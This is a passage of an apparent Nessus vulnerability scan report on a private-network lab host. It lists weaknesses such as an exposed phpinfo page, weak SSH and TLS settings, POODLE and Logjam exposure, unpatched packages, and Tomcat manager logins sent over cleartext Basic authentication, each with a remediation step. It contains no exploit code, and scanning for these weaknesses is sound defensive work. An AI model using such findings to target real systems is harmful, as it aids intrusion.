Published: 2015/08/22, Modified: 2017/05/16

## Plugin Output

tcp/8180/www

```

The following pages do not use a clickjacking mitigation response header and contain a clickable
 event :

  - http://192.168.50.101:8180/admin/
  - http://192.168.50.101:8180/admin/error.jsp
  - http://192.168.50.101:8180/jsp-examples/cal/login.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/check.html
  - http://192.168.50.101:8180/jsp-examples/colors/colors.html
  - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp
  - http://192.168.50.101:8180/jsp-examples/error/err.jsp
  - http://192.168.50.101:8180/jsp-examples/error/error.html
  - http://192.168.50.101:8180/jsp-examples/jsp2/el/functions.jsp
  - http://192.168.50.101:8180/jsp-examples/jsp2/el/implicit-objects.jsp
  - http://192.168.50.101:8180/jsp-examples/num/numguess.jsp
  - http://192.168.50.101:8180/jsp-examples/plugin/plugin.jsp
  - http://192.168.50.101:8180/jsp-examples/sessions/carts.html
  - http://192.168.50.101:8180/jsp-examples/sessions/carts.jsp
  - http://192.168.50.101:8180/servlets-examples/servlet/CookieExample
  - http://192.168.50.101:8180/servlets-examples/servlet/RequestParamExample
  - http://192.168.50.101:8180/servlets-examples/servlet/SessionExample
```

## 11229 - Web Server info.php / phpinfo.php Detection

### Synopsis

The remote web server contains a PHP script that is prone to an information disclosure attack.

### Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes. Various PHP applications may also include such a file. By accessing such a file, a remote attacker can discover a large amount of information about the remote web server, including :

- The username of the user who installed PHP and if they are a SUDO user.

- The IP address of the host.

- The version of the operating system.

- The web server version.

- The root directory of the web server.

- Configuration information about the remote PHP installation.

### Solution

Remove the affected file(s).

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2003/02/12, Modified: 2024/11/22

### Plugin Output

tcp/80/www

```
Nessus discovered the following URLs that call phpinfo() :

  - http://192.168.50.101/phpinfo.php
```

```
    - http://192.168.50.101/mutillidae/phpinfo.php
```

## 10114 - ICMP Timestamp Request Remote Date Disclosure

### Synopsis

It is possible to determine the exact time set on the remote host.

### Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

### Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

### Risk Factor

Low

### VPR Score

2.2

### EPSS Score

0.0037

### CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| CVE | CVE-1999-0524 |
| XREF | CWE:200 |

### Plugin Information

Published: 1999/08/01, Modified: 2024/10/07

### Plugin Output

icmp/0

```
The difference between the local and remote clocks is 2 seconds.
```

## 70658 - SSH Server CBC Mode Ciphers Enabled

### Synopsis

The SSH server is configured to use Cipher Block Chaining.

### Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

### Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

### Risk Factor

Low

### CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

### VPR Score

1.4

### EPSS Score

0.0307

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 32319 |
| CVE | CVE-2008-5161 |
| XREF | CERT:958563 |
| XREF | CWE:200 |

## Plugin Information

Published: 2013/10/28, Modified: 2023/10/27

## Plugin Output

tcp/22/ssh

```

The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported :

  3des-cbc
  aes128-cbc
  aes192-cbc
  aes256-cbc
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported :

  3des-cbc
  aes128-cbc
  aes192-cbc
  aes256-cbc
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se
```

## 153953 - SSH Weak Key Exchange Algorithms Enabled

### Synopsis

The remote SSH server is configured to allow weak key exchange algorithms.

### Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) RFC9142. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

### See Also

https://datatracker.ietf.org/doc/html/rfc9142

### Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

### Risk Factor

Low

### CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2021/10/13, Modified: 2024/03/22

## Plugin Output

### tcp/22/ssh

```
The following weak key exchange algorithms are enabled :

  diffie-hellman-group-exchange-sha1
  diffie-hellman-group1-sha1
```

## 71049 - SSH Weak MAC Algorithms Enabled

### Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

### Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

### Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

### Risk Factor

Low

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

### Plugin Output

tcp/22/ssh

```
The following client-to-server Message Authentication Code (MAC) algorithms
are supported :

  hmac-md5
  hmac-md5-96
  hmac-sha1-96

The following server-to-client Message Authentication Code (MAC) algorithms
are supported :

  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

## 83738 - SSL/TLS EXPORT_DHE <= 512-bit Export Cipher Suites Supported (Logjam)

### Synopsis

The remote host supports a set of weak ciphers.

### Description

The remote host supports EXPORT_DHE cipher suites with keys less than or equal to 512 bits. Through cryptanalysis, a third party can find the shared secret in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_DHE cipher suites. Thus, it is recommended to remove support for weak cipher suites.

### See Also

https://weakdh.org/

### Solution

Reconfigure the service to remove support for EXPORT_DHE cipher suites.

### Risk Factor

Low

### CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)

### CVSS v3.0 Temporal Score

3.2 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

3.9

### EPSS Score

0.9391

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

2.2 (CVSS2#E:U/RL:ND/RC:C)

## References

| | |
|---|---|
| BID | 74733 |
| CVE | CVE-2015-4000 |
| XREF | CEA-ID:CEA-2021-0004 |

## Plugin Information

Published: 2015/05/21, Modified: 2022/12/05

## Plugin Output

tcp/25/smtp

```

EXPORT_DHE cipher suites supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-EDH-RSA-DES-CBC-SHA       0x00, 0x14       DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EXP-ADH-DES-CBC-SHA           0x00, 0x19       DH(512)       None     DES-CBC(40)
 SHA1      export
    EXP-ADH-RC4-MD5               0x00, 0x17       DH(512)       None     RC4(40)                MD5
       export

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

### Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

### Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

### See Also

https://www.imperialviolet.org/2014/10/14/poodle.html

https://www.openssl.org/~bodo/ssl-poodle.pdf

https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00

### Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

### Risk Factor

Medium

### CVSS v3.0 Base Score

3.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N)

### CVSS v3.0 Temporal Score

3.1 (CVSS:3.0/E:P/RL:O/RC:C)

### VPR Score

5.1

### EPSS Score

0.9377

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 70574 |
| CVE | CVE-2014-3566 |
| XREF | CERT:577193 |

### Plugin Information

Published: 2014/10/15, Modified: 2023/06/23

### Plugin Output

tcp/25/smtp

```
Nessus determined that the remote server supports SSLv3 with at least one CBC
cipher suite, indicating that this server is vulnerable.

It appears that TLSv1 or newer is supported on the server. However, the
Fallback SCSV mechanism is not supported, allowing connections to be "rolled
back" to SSLv3.
```

## 78479 - SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)

### Synopsis

It is possible to obtain sensitive information from the remote host with SSL/TLS-enabled services.

### Description

The remote host is affected by a man-in-the-middle (MitM) information disclosure vulnerability known as POODLE. The vulnerability is due to the way SSL 3.0 handles padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode.

MitM attackers can decrypt a selected byte of a cipher text in as few as 256 tries if they are able to force a victim application to repeatedly send the same data over newly created SSL 3.0 connections.

As long as a client and service both support SSLv3, a connection can be 'rolled back' to SSLv3, even if TLSv1 or newer is supported by the client and service.

The TLS Fallback SCSV mechanism prevents 'version rollback' attacks without impacting legacy clients; however, it can only protect connections when the client and service support the mechanism. Sites that cannot disable SSLv3 immediately should enable this mechanism.

This is a vulnerability in the SSLv3 specification, not in any particular SSL implementation. Disabling SSLv3 is the only way to completely mitigate the vulnerability.

### See Also

https://www.imperialviolet.org/2014/10/14/poodle.html

https://www.openssl.org/~bodo/ssl-poodle.pdf

https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00

### Solution

Disable SSLv3.

Services that must support SSLv3 should enable the TLS Fallback SCSV mechanism until SSLv3 can be disabled.

### Risk Factor

Medium

### CVSS v3.0 Base Score

3.4 (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N)

### CVSS v3.0 Temporal Score

3.1 (CVSS:3.0/E:P/RL:O/RC:C)

VPR Score

5.1

EPSS Score

0.9377

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 70574 |
| CVE | CVE-2014-3566 |
| XREF | CERT:577193 |

Plugin Information

Published: 2014/10/15, Modified: 2023/06/23

Plugin Output

tcp/5432/postgresql

```
Nessus determined that the remote server supports SSLv3 with at least one CBC
cipher suite, indicating that this server is vulnerable.

It appears that TLSv1 or newer is supported on the server. However, the
Fallback SCSV mechanism is not supported, allowing connections to be "rolled
back" to SSLv3.
```

## 44335 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : fuse vulnerability (USN-892-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dan Rosenberg discovered that FUSE did not correctly check mount locations. A local attacker, with access to use FUSE, could unmount arbitrary locations, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/892-1/

### Solution

Update the affected packages.

### Risk Factor

Low

### VPR Score

5.9

### EPSS Score

0.0003

### CVSS v2.0 Base Score

3.3 (CVSS2#AV:L/AC:M/Au:N/C:N/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-0789 |
| XREF | USN:892-1 |
| XREF | CWE:59 |

### Plugin Information

Published: 2010/01/29, Modified: 2019/09/19

## Plugin Output

### tcp/0

```

  - Installed package : fuse-utils_2.7.2-1ubuntu2
  - Fixed package     : fuse-utils_2.7.2-1ubuntu2.1

  - Installed package : libfuse2_2.7.2-1ubuntu2
  - Fixed package     : libfuse2_2.7.2-1ubuntu2.1

```

## 45343 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : samba vulnerability (USN-918-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered the Samba handled symlinks in an unexpected way when both 'wide links' and 'UNIX extensions' were enabled, which is the default. A remote attacker could create symlinks and access arbitrary files from the server.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/918-1/

### Solution

Update the affected packages.

### Risk Factor

Low

### VPR Score

6.0

### EPSS Score

0.2749

### CVSS v2.0 Base Score

3.5 (CVSS2#AV:N/AC:M/Au:S/C:P/I:N/A:N)

### CVSS v2.0 Temporal Score

2.9 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 38111 |
| CVE | CVE-2010-0926 |
| XREF | USN:918-1 |

| | |
|---|---|
| XREF | CWE:22 |

## Plugin Information

Published: 2010/03/25, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.11

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.11
```

## 39786 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : dbus vulnerability (USN-799-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the D-Bus library did not correctly validate signatures. If a local user sent a specially crafted D-Bus key, they could spoof a valid signature and bypass security policies.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/799-1/

### Solution

Update the affected packages.

### Risk Factor

Low

### VPR Score

7.3

### EPSS Score

0.0054

### CVSS v2.0 Base Score

3.6 (CVSS2#AV:L/AC:L/Au:N/C:N/I:P/A:P)

### CVSS v2.0 Temporal Score

2.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 31602 |
| CVE | CVE-2009-1189 |
| XREF | USN:799-1 |

| | |
|---|---|
| XREF | CWE:20 |

## Plugin Information

Published: 2009/07/14, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libdbus-1-3_1.1.20-1ubuntu1
  - Fixed package     : libdbus-1-3_1.1.20-1ubuntu3.3
```

## 36904 - Ubuntu 7.10 / 8.04 LTS : postfix vulnerability (USN-642-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Wietse Venema discovered that Postfix leaked internal file descriptors when executing non-Postfix commands. A local attacker could exploit this to cause Postfix to run out of descriptors, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/642-1/

### Solution

Update the affected packages.

### Risk Factor

Low

### VPR Score

4.4

### EPSS Score

0.0006

### CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 30977 |
| CVE | CVE-2008-3889 |
| XREF | USN:642-1 |

| | |
|---|---|
| XREF | CWE:20 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : postfix_2.5.1-2ubuntu1
  - Fixed package     : postfix_2.5.1-2ubuntu1.2
```

## 56970 - Ubuntu 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : apt vulnerability (USN-1283-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that APT incorrectly handled the Verify-Host configuration option. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could potentially be used to steal repository credentials. This issue only affected Ubuntu 10.04 LTS and 10.10. (CVE-2011-3634)

USN-1215-1 fixed a vulnerability in APT by disabling the apt-key net-update option. This update re-enables the option with corrected verification.

It was discovered that the apt-key utility incorrectly verified GPG keys when downloaded via the net-update option. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could potentially be used to install altered packages.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1283-1/

### Solution

Update the affected apt package.

### Risk Factor

Low

### VPR Score

6.1

### EPSS Score

0.0016

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| CVE | CVE-2011-3634 |

| | |
|---|---|
| XREF | USN:1283-1 |

## Plugin Information

Published: 2011/11/29, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : apt_0.7.9ubuntu17
  - Fixed package     : apt_0.7.9ubuntu17.4

```

## 59554 - Ubuntu 8.04 LTS / 10.04 LTS / 11.04 / 11.10 / 12.04 LTS : apt vulnerability (USN-1477-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Georgi Guninski discovered that APT did not properly validate imported keyrings via apt-key net-update. USN-1475-1 added additional verification for imported keyrings, but it was insufficient. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could potentially be used to install altered packages. This update corrects the issue by disabling the net-update option completely. A future update will re-enable the option with corrected verification.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1477-1/

### Solution

Update the affected apt package.

### Risk Factor

Low

### VPR Score

3.6

### EPSS Score

0.0037

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| CVE | CVE-2012-0954 |
| XREF | USN:1477-1 |

### Plugin Information

Published: 2012/06/18, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : apt_0.7.9ubuntu17
  - Fixed package     : apt_0.7.9ubuntu17.6
```

## 62869 - Ubuntu 8.04 LTS / 10.04 LTS / 11.10 / 12.04 LTS / 12.10 : apache2 vulnerabilities (USN-1627-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that the mod_negotiation module incorrectly handled certain filenames, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. With cross-site scripting vulnerabilities, if a user were tricked into viewing server output during a crafted server request, a remote attacker could exploit this to modify the contents, or steal confidential data (such as passwords), within the same domain.

(CVE-2012-2687)

It was discovered that the Apache HTTP Server was vulnerable to the 'CRIME' SSL data compression attack. Although this issue had been mitigated on the client with newer web browsers, this update also disables SSL data compression on the server. A new SSLCompression directive for Apache has been backported that may be used to re-enable SSL data compression in certain environments. For more information, please refer to:

http://httpd.apache.org/docs/2.4/mod/mod_ssl.html#sslcompression (CVE-2012-4929).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1627-1/

### Solution

Update the affected apache2.2-common package.

### Risk Factor

Low

### VPR Score

5.1

### EPSS Score

0.1387

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:N/I:P/A:N)

## CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 55131 |
| BID | 55704 |
| CVE | CVE-2012-2687 |
| CVE | CVE-2012-4929 |
| XREF | USN:1627-1 |

## Plugin Information

Published: 2012/11/09, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : apache2.2-common_2.2.8-1ubuntu0.15
  - Fixed package     : apache2.2-common_2.2.8-1ubuntu0.24
```

## 51572 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : dbus vulnerability (USN-1044-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Remi Denis-Courmont discovered that D-Bus did not properly validate the number of nested variants when validating D-Bus messages. A local attacker could exploit this to cause a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1044-1/

### Solution

Update the affected packages.

### Risk Factor

Low

### VPR Score

7.3

### EPSS Score

0.0014

### CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

1.6 (CVSS2#E:U/RL:OF/RC:ND)

### References

| | |
|---|---|
| BID | 45377 |
| CVE | CVE-2010-4352 |
| XREF | USN:1044-1 |

## Plugin Information

Published: 2011/01/19, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libdbus-1-3_1.1.20-1ubuntu1
  - Fixed package     : libdbus-1-3_1.1.20-1ubuntu3.4
```

## 52479 - Ubuntu 8.04 LTS / 9.10 / 10.04 LTS / 10.10 : fuse vulnerabilities (USN-1077-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that FUSE would incorrectly follow symlinks when checking mountpoints under certain conditions. A local attacker, with access to use FUSE, could unmount arbitrary locations, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1077-1/

### Solution

Update the affected packages.

### Risk Factor

Low

### VPR Score

5.9

### EPSS Score

0.0006

### CVSS v2.0 Base Score

3.3 (CVSS2#AV:L/AC:M/Au:N/C:N/I:P/A:P)

### CVSS v2.0 Temporal Score

2.4 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 37983 |
| BID | 46103 |
| CVE | CVE-2010-0789 |

| | |
|---|---|
| CVE | CVE-2011-0541 |
| CVE | CVE-2011-0542 |
| CVE | CVE-2011-0543 |
| XREF | USN:1077-1 |
| XREF | CWE:59 |

## Plugin Information

Published: 2011/03/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : fuse-utils_2.7.2-1ubuntu2
  - Fixed package     : fuse-utils_2.7.2-1ubuntu2.3

  - Installed package : libfuse2_2.7.2-1ubuntu2
  - Fixed package     : libfuse2_2.7.2-1ubuntu2.3
```

## 42057 - Web Server Allows Password Auto-Completion

### Synopsis

The 'autocomplete' attribute is not disabled on password fields.

### Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

### Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

### Risk Factor

Low

### Plugin Information

Published: 2009/10/07, Modified: 2023/07/17

### Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/
Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php
Destination Page: /phpMyAdmin/index.php
```

## 42057 - Web Server Allows Password Auto-Completion

### Synopsis

The 'autocomplete' attribute is not disabled on password fields.

### Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

### Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

### Risk Factor

Low

### Plugin Information

Published: 2009/10/07, Modified: 2023/07/17

### Plugin Output

tcp/8180/www

```
Page : /admin/
Destination Page: /admin/j_security_check

Page : /admin/error.jsp
Destination Page: /admin/j_security_check
```

## 26194 - Web Server Transmits Cleartext Credentials

### Synopsis

The remote web server might transmit credentials in cleartext.

### Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

### Solution

Make sure that every sensitive form transmits content over HTTPS.

### Risk Factor

Low

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| XREF | CWE:522 |
| XREF | CWE:523 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

### Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

### Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/
Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php
Destination Page: /phpMyAdmin/index.php
```

## 26194 - Web Server Transmits Cleartext Credentials

### Synopsis

The remote web server might transmit credentials in cleartext.

### Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

### Solution

Make sure that every sensitive form transmits content over HTTPS.

### Risk Factor

Low

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| XREF | CWE:522 |
| XREF | CWE:523 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

### Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

### Plugin Output

tcp/8180/www

```
Page : /admin/
Destination Page: /admin/j_security_check

Page : /admin/error.jsp
Destination Page: /admin/j_security_check
```

## 34850 - Web Server Uses Basic Authentication Without HTTPS

### Synopsis

The remote web server seems to transmit credentials in cleartext.

### Description

The remote web server contains web pages that are protected by 'Basic'
authentication over cleartext.

An attacker eavesdropping the traffic might obtain logins and passwords of valid users.

### Solution

Make sure that HTTP authentication is transmitted over HTTPS.

### Risk Factor

Low

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| XREF | CWE:319 |
| XREF | CWE:928 |
| XREF | CWE:930 |
| XREF | CWE:934 |

### Plugin Information

Published: 2008/11/21, Modified: 2016/11/29

### Plugin Output

tcp/8180/www

```
The following web pages use Basic Authentication over an unencrypted
channel :

/host-manager/html:/  realm="Tomcat Host Manager Application"
/manager/html:/  realm="Tomcat Manager Application"
/manager/status:/  realm="Tomcat Manager Application"
```

## 10407 - X Server Detection

### Synopsis

An X11 server is listening on the remote host

### Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

### Solution

Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (-nolisten tcp).

### Risk Factor

Low

### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

### Plugin Information

Published: 2000/05/12, Modified: 2019/03/05

### Plugin Output

tcp/6000/x11

```
X11 Version : 11.0
```

## 21186 - AJP Connector Detection

### Synopsis

There is an AJP connector listening on the remote host.

### Description

The remote host is running an AJP (Apache JServ Protocol) connector, a service by which a standalone web server such as Apache communicates over TCP with a Java servlet container such as Tomcat.

### See Also

http://tomcat.apache.org/connectors-doc/

http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2006/04/05, Modified: 2019/11/22

### Plugin Output

tcp/8009/ajp13

```
The connector listing on this port supports the ajp13 protocol.
```

## 18261 - Apache Banner Linux Distribution Disclosure

### Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

### Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

### Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

### Risk Factor

None

### Plugin Information

Published: 2005/05/15, Modified: 2025/03/31

### Plugin Output

tcp/0

```
The Linux distribution detected was :
 - Ubuntu 8.04 (gutsy)
```

